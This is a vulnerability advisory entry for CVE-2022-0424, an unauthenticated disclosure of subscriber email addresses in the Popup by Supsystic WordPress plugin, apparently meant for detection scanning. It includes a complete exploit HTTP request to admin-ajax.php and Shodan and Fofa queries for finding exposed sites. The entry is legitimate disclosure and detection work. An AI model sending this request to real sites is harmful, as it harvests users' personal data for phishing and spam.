| Title | Popup by Supsystic < 1.10.9 - Subscriber Email Addresses Disclosure |
|---|---|
| Author | s4e-io |
| Severity | Medium |
| Impact | Unauthenticated attackers can obtain email addresses of all subscribed users via an unprotected AJAX endpoint, potentially facilitating phishing campaigns or spam attacks. |
| Remediation | Fixed in 1.10.9 |
| CVSS Score | 5.3 |
| EPSS Score | 0.25772 |
| CVE ID | CVE-2022-0424 |
| CWE ID | CWE-306 |
| Shodan Query | http.html:/wp-content/plugins/popup-by-supsystic |
| Fofa Query | body=/wp-content/plugins/popup-by-supsystic |
| Tags | wpscan cve cve2022 wp wp-plugin wordpress disclosure popup supsystic vuln |
The Popup by Supsystic WordPress plugin before 1.10.9 does not have any authentication and authorisation in an AJAX action, allowing unauthenticated attackers to call it and get the email addresses of subscribed users
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.15
Connection: close
Content-Length: 94
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
page=subscribe&action=getListForTbl&reqType=ajax&search=@&_search=false&pl=pps&sidx=id&rows=10
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0424.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0424.pcap
N/AN/A